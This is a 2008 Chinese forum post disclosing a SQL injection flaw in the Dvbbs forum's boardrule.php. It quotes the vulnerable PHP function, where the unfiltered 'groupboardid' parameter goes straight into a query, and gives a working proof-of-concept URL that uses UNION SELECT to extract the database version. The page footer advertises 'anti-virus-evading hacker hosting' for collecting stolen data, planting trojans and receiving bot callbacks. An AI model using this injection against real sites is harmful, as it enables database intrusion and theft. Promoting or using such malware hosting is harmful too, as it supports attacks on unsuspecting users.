|
  
- 帖子
- 664
- 威望
- 0 点
- T币
- 44 个
- 警告
- 0 次
- 活力
- 404 点
- 性别
- 男
- 来自
- 北京
- 在线时间
- 574 小时
- 注册时间
- 2007-9-19
- 最后登录
- 2008-12-29

|
1#
发表于 2008-3-13 17:24
| 只看该作者
- function brule() {
- global $dv,$db,$boardid,$lang,$groupboardid;
- $groupboardid=$_GET['groupboardid'];
- if(!empty($_GET['groupboardid'])){
- $rules=$db->scalar("select rules from {$dv}group_board where id={$groupboardid}");
- }
- else{
- $rules=$db->scalar("select rules from {$dv}board where boardid={$boardid}");
- }
复制代码 直接获得变量groupboardid,不为空就直接带入查询导致注入。- http://dvbbsroot/boardrule.php?groupboardid=111111111/**/union/**/select/**/version()/*
复制代码 |
|
最新推出黑客免杀空间15元/月,支持ASP收信、挂马、上线等. 点击申请 |
|